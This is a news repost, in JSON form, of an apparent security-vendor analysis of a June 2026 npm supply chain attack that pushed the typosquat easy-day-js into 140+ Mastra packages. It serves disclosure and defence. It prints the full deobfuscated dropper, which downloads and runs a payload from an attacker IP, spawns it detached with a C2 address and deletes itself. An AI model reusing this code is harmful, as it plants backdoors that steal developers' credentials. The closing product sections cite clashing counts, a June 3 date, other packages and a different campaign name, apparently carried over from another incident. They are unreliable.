{"slug": "mastra-npm-supply-chain-attack-140-packages-backdoor-via-easy-day-js-typosquat", "title": "Mastra NPM Supply Chain Attack: 140 Packages Backdoor via easy-day-JS Typosquat", "summary": "On June 17, 2026, an attacker compromised the @mastra npm organization and added the typosquat package easy-day-js as a dependency across 140+ Mastra AI framework packages, exposing over 1.1 million weekly downloads to a postinstall dropper that downloaded and executed a second-stage payload from attacker-controlled servers. The attack began with a clean bait package on June 16, followed by a malicious update on June 17 that automatically infected all fresh installations due to npm's version resolution. The Mastra framework's access to sensitive credentials like LLM API keys and cloud provider tokens makes this a high-value supply chain attack.", "body_md": "## Summary\n\nOn June 17, 2026, an attacker compromised the `@mastra`\n\nnpm organization and quietly added `easy-day-js`\n\nas a dependency across **140+ packages** in the Mastra AI framework ecosystem. `easy-day-js`\n\nis a typosquat of the popular `dayjs`\n\ndate library, and its latest version contained an obfuscated postinstall dropper that downloaded and ran a second-stage payload from attacker-controlled servers, then deleted itself to remove any trace. Packages with a combined weekly download count exceeding **1.1 million** were exposed. If you installed any `@mastra`\n\npackage today, treat your environment as compromised.\n\nThis is an ongoing attack. Additional `@mastra`\n\npackages are continuing to be compromised as we publish this post. we will continue to update our blog post with additional findings. We have responsibly disclosed this issue in mastra-ai-repo: [https://github.com/mastra-ai/mastra/issues/18045](https://github.com/mastra-ai/mastra/issues/18045)\n\n## Background: The Mastra AI Framework\n\nMastra is a rapidly growing open-source TypeScript framework for building AI agents, multi-step workflows, and retrieval-augmented generation (RAG) pipelines. It provides native integrations for major LLM providers (OpenAI, Anthropic, Google), persistent agent memory, Model Context Protocol (MCP) servers, vector databases, and cloud deployment targets. Because Mastra sits at the intersection of AI development and cloud infrastructure, its packages are routinely installed in environments that hold some of the most sensitive credentials in modern software development:\n\n- LLM API keys (\n`OPENAI_API_KEY`\n\n,`ANTHROPIC_API_KEY`\n\n,`GOOGLE_API_KEY`\n\n) - Cloud provider credentials (\n`AWS_ACCESS_KEY_ID`\n\n,`AWS_SECRET_ACCESS_KEY`\n\n,`AZURE_TENANT_ID`\n\n) - Database connection strings and tokens\n- CI/CD secrets and VCS tokens (\n`GITHUB_TOKEN`\n\n,`NPM_TOKEN`\n\n)\n\nThis makes the Mastra ecosystem an exceptionally high-value target for supply chain attackers.\n\n## How the Attack Unfolded\n\n### Stage 0 Pre-positioning: The Clean Bait Package (June 16)\n\nThe attack actually started the day before. On June 16, 2026 at 07:05 UTC, npm user `sergey2016`\n\npublished `easy-day-js@1.11.21`\n\n, a clean, fully functional copy of the legitimate `dayjs`\n\ndate library with no malicious code at all. Its only purpose was to look credible. The package mirrors `dayjs`\n\n's version numbering (`1.11.x`\n\n), author metadata (`iamkun`\n\n), homepage, repository URL, license, and keywords, so it could pass a casual visual inspection without raising flags.\n\nThis bait version (not the malicious one) was what got injected into the `@mastra`\n\npackages as a dependency. The trick is in how npm resolves versions: the dependency was pinned as `\"easy-day-js\": \"^1.11.21\"`\n\n, which means npm always resolves to the *latest matching version* at install time. So once the attacker published the malicious `1.11.22`\n\n, every fresh `npm install`\n\nwould automatically pull the payload without needing any further changes to the `@mastra`\n\npackages themselves.\n\n### Stage 1 Payload Upload (June 17, 01:01 UTC)\n\nAt 01:01 UTC on June 17, `sergey2016`\n\npublished `easy-day-js@1.11.22`\n\n. This version is identical to `1.11.21`\n\nwith one addition: a file named `setup.cjs`\n\n(4,572 bytes) and a `postinstall`\n\nhook that executes it:\n\n```\n\"postinstall\": \"node setup.cjs --no-warnings\"\n```\n\nThe `--no-warnings`\n\nflag suppresses Node.js runtime warnings that might tip off the user. The `setup.cjs`\n\nfile itself is obfuscated using a custom-alphabet Base64 scheme backed by a 40-element string array that has to be rotated 34 positions before an arithmetic integrity check passes. This is specifically designed to trip up static analysis tools that evaluate the string array before the rotation runs.\n\n### Stage 2 @mastra Organization Compromise & Mass Publish (01:12–02:39 UTC)\n\nJust 11 minutes after uploading the payload, the attacker used compromised `@mastra`\n\norganization credentials to kick off an automated publishing campaign. Over the next 88 minutes, 140+ packages across the entire Mastra ecosystem were republished with `easy-day-js`\n\nquietly added as a production dependency.\n\nThe cadence makes it obvious this wasn't manual. Packages were arriving in tightly spaced clusters throughout the window, consistent with a script that enumerated the full `@mastra`\n\norganization and processed packages in batches.\n\n### Stage 3 Dropper Execution at Install Time\n\nWhen a developer runs `npm install @mastra/core`\n\n(or any of the infected packages), npm resolves `easy-day-js`\n\nto version `1.11.22`\n\n, the latest patch matching `^1.11.21`\n\n, and automatically runs its `postinstall`\n\nhook. The obfuscated `setup.cjs`\n\nthen executes the following logic:\n\n``` js\n'use strict';\nconst child_process = require('node:child_process');\nconst crypto = require('node:crypto');\nconst fs   = require('node:fs');\nconst os   = require('node:os');\nconst path = require('node:path');\n\n// Disable TLS certificate verification\nprocess.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';\n\n(async () => {\n  try {\n    const stage2Url = 'https://23.254.164.92:8000/update/49890878';\n    const stage2C2  = '23.254.164.123:443';\n\n    // Write install beacon to temp directory\n    fs.writeFileSync(path.join(os.tmpdir(), '.pkg_history'), __dirname, 'utf-8');\n    fs.writeFileSync(path.join(os.tmpdir(), '.pkg_logs'), pkgMarker);\n\n    // Download stage-2 payload (TLS disabled)\n    const payload  = await (await fetch(stage2Url)).text();\n\n    // Write to random-named file and spawn as detached background process\n    const filename = crypto.randomBytes(12).toString('hex') + '.js';\n    const filepath = path.join(os.tmpdir(), filename);\n    fs.writeFileSync(filepath, payload, 'utf8');\n\n    child_process.spawn(process.execPath, [filepath, stage2C2], {\n      cwd: os.tmpdir(), detached: true, stdio: 'ignore', windowsHide: true\n    }).unref();\n\n  } catch {}\n  finally {\n    // Self-delete to destroy forensic evidence\n    fs.rmSync(__filename, { force: true });\n  }\n})();\n```\n\nSeveral behaviors make this dropper particularly effective at evading detection:\n\n**TLS certificate bypass.** Setting`NODE_TLS_REJECT_UNAUTHORIZED=0`\n\nlets the dropper reach the C2 server even if it uses a self-signed certificate, so a bad cert won't cause a visible download failure.**Beaconing.** Before fetching the payload, the dropper writes the package's full installation path (`__dirname`\n\n) to`<tmpdir>/.pkg_history`\n\n, giving the attacker a map of affected machines.**Process detachment.** The stage-2 payload is spawned with`detached: true`\n\nand`stdio: 'ignore'`\n\n, then immediately`.unref()`\n\n'd. It keeps running in the background after npm exits, with no visible output.**Self-deletion.**`fs.rmSync(__filename, { force: true })`\n\nremoves`setup.cjs`\n\nfrom the package tree right after it runs, wiping the main forensic artifact.\n\n### Stage 4 Stage-2 Payload\n\nThe stage-2 payload is fetched at runtime from `https://23.254.164.92:8000/update/49890878`\n\nand is not embedded in any tarball. It runs as a detached background process with `23.254.164.123:443`\n\npassed as its first argument, almost certainly the command-and-control address. Given that Mastra environments typically hold LLM API keys and cloud credentials, the most likely outcome of stage-2 execution is environment variable harvesting and exfiltration to that C2.\n\n## Runtime Analysis Using Harden Runner\n\nTo validate the malware's behavior at runtime, we installed `@mastra/core@1.42.1`\n\nin a controlled GitHub Actions workflow with StepSecurity Harden Runner enabled in **block mode**. In block mode, Harden Runner enforces an allowlist of permitted outbound endpoints at the step level — any connection attempt to an address outside that list is blocked and logged before a single byte leaves the runner.\n\nThe moment `easy-day-js@1.11.22`\n\n's postinstall hook fired, Harden Runner intercepted and blocked the outbound call to `23.254.164.92:8000`\n\n. Because the stage-2 payload could not be downloaded, the rest of the attack chain never executed:\n\n**Stage-2 payload download blocked**— the fetch to`https://23.254.164.92:8000/update/49890878`\n\nwas cut off at the network layer. No payload file was written to the temp directory.**Detached child process never spawned**— with no payload on disk, the`child_process.spawn`\n\ncall had nothing to run. The stage-2 C2 at`23.254.164.123:443`\n\nwas never contacted.**Credential exfiltration prevented**— because the attack chain stopped at the first network call, no environment variables, API keys, or cloud credentials were exposed to the attacker.**Block logged in real time**— the blocked connection appears immediately in the Harden Runner network events view, giving teams a clear, timestamped record of the attempt without needing to correlate logs from multiple sources.\n\nThe `23.254.164.92`\n\nIP is now on the StepSecurity Harden Runner Global Block List, so workflows do not need to manually allowlist-configure anything — the block applies automatically to all protected workflows.\n\nYou can inspect the full network events log from our controlled run here: [View example run — C2 domain blocked by Harden Runner](https://app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/27661280135?tab=network-events&jobId=81806027647)\n\n## The Typosquat: easy-day-js vs dayjs\n\nThe choice of `dayjs`\n\nas the legitimate package to impersonate was deliberate. `dayjs`\n\nis one of the most widely used JavaScript date libraries, with name recognition that reduces the likelihood a developer reviewing a dependency list will flag `easy-day-js`\n\nas suspicious. The attacker went further by copying the legitimate library's package metadata wholesale:\n\nThe only reliable distinguishing features are the npm maintainer (`sergey2016`\n\n, registered with `sergey2016@tutamail.com`\n\n) and the presence of `setup.cjs`\n\nin the tarball. A developer performing a routine `npm audit`\n\nor visual review of `package.json`\n\nwould have no obvious signal that something was wrong.\n\n## Obfuscation: Three Layers\n\nThe `setup.cjs`\n\ndropper employs three distinct obfuscation layers, stacked to defeat automated static analysis\n\n**Custom-alphabet Base64 encoding.** All string literals (API names, C2 URL, file paths) are stored using a shuffled Base64 alphabet with lowercase letters first, then uppercase, then digits. Standard Base64 decoders will produce garbage without first reversing the alphabet mapping.**Array rotation with integrity check.** The decoded 40-element string array has to be rotated exactly 34 positions before an arithmetic checksum equals`0x4c11d`\n\n(311,581). Any static analysis tool that tries to evaluate the array before the rotation runs will index the wrong strings and miss the actual payload logic.**XOR-encoded beacon marker.** The package name`easy-day-js`\n\nis stored as the byte sequence`[0xe5, 0xe1, 0xf3, 0xf9, 0xad, 0xe4, 0xe1, 0xf9, 0xad, 0xea, 0xf3]`\n\nand written to`.pkg_logs`\n\nas raw binary, so the plaintext string never shows up in any file written to disk.\n\nNotably, the C2 URL `https://23.254.164.92:8000/update/49890878`\n\nappears in *plaintext* within the obfuscated source — an unusual choice that may indicate the dropper was prepared under time pressure.\n\n## Indicators of Compromise (IOCs)\n\n## All Affected Packages\n\nThe following packages across the Mastra organization were compromised. Any version listed in this table published on **2026-06-17** should be considered malicious.\n\n## For StepSecurity Enterprise Customers\n\n### Threat Center Alert\n\nStepSecurity has published a threat intel alert in the Threat Center with all relevant links to check if your organization is affected. The alert includes the full attack summary, technical analysis of the Phantom Gyp technique, IOCs, all 57 affected packages and 286+ malicious versions, and remediation steps, so teams have everything needed to triage and respond immediately. Threat Center alerts are delivered directly into existing SIEM workflows for real-time visibility.\n\n### Harden-Runner\n\n[Harden-Runner](https://docs.stepsecurity.io/harden-runner) is a purpose-built security agent for CI/CD runners. It monitors all network events, process executions, file access, and outbound network connections at the step level in GitHub Actions, providing full runtime visibility into what happens during every workflow step, including `npm install`\n\n.\n\nHarden-Runner detected and blocked outbound call to c2 ip address containing the attack.\n\nhttps://app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/27661280135?jobId=81806027647\n\n### Secure Registry\n\nStepSecurity Secure Registry provides each enterprise customer with a dedicated, policy-enforced npm registry that sits between your existing package manager (such as JFrog Artifactory) and the public npm registry. Instead of fetching packages directly from `registry.npmjs.org`\n\n, your infrastructure routes requests through your StepSecurity registry, which applies configurable security policies before serving any package.\n\nThe primary defense here is the cooldown period. Newly published package versions are held for a configurable window before being served to any developer machine or CI/CD pipeline. When the compromised @mastre packages were published to npm, Secure Registry customers were never exposed. If affected packages were still not removed by npm within your configured cooldown period, this will still be blocked by our 'Compromised Packages' control.\n\n### Detect Compromised Developer Machines\n\n[StepSecurity Dev Machine Guard](https://docs.stepsecurity.io/developer-mdm) gives security teams real-time visibility into npm packages installed across every enrolled developer device. When a malicious package is identified, teams can immediately search by package name and version to discover all impacted machines.\n\n### npm Package Cooldown Check\n\nNewly published npm packages are temporarily blocked during a configurable cooldown window. When a PR introduces or updates to a recently published version, the check automatically fails. Since most malicious packages are identified within hours, this creates a crucial safety buffer. In this case, 57 packages across 286+ malicious versions were published in a rolling campaign lasting under two hours on June 3, so any PR updating to an affected version during the cooldown period would have been blocked automatically.\n\n### npm Package Compromised Updates Check\n\nStepSecurity maintains a real-time database of known malicious and high-risk npm packages, updated continuously, often before official CVEs are filed. If a PR attempts to introduce a compromised package, the check fails and the merge is blocked. All compromised versions from this Miasma campaign, including `@vapi-ai/server-sdk`\n\n, `ai-sdk-ollama`\n\n, and the full `jagreehal`\n\npackage family, were added to this database within minutes of detection.\n\n### npm Package Search\n\nSearch across all PRs in all repositories across your organization to find where a specific package was introduced. When a compromised package is discovered, instantly understand the blast radius: which repos, which PRs, and which teams are affected. This works across pull requests, default branches, and dev machines.", "url": "https://wpnews.pro/news/mastra-npm-supply-chain-attack-140-packages-backdoor-via-easy-day-js-typosquat", "canonical_source": "https://www.stepsecurity.io/blog/mastra-npm-packages-compromised-using-easy-day-js", "published_at": "2026-06-17 10:28:30+00:00", "updated_at": "2026-06-17 10:53:02.307398+00:00", "lang": "en", "topics": ["ai-safety", "ai-tools", "ai-infrastructure", "ai-agents", "ai-research"], "entities": ["Mastra", "easy-day-js", "dayjs", "npm", "OpenAI", "Anthropic", "Google", "sergey2016"], "alternates": {"html": "https://wpnews.pro/news/mastra-npm-supply-chain-attack-140-packages-backdoor-via-easy-day-js-typosquat", "markdown": "https://wpnews.pro/news/mastra-npm-supply-chain-attack-140-packages-backdoor-via-easy-day-js-typosquat.md", "text": "https://wpnews.pro/news/mastra-npm-supply-chain-attack-140-packages-backdoor-via-easy-day-js-typosquat.txt", "jsonld": "https://wpnews.pro/news/mastra-npm-supply-chain-attack-140-packages-backdoor-via-easy-day-js-typosquat.jsonld"}}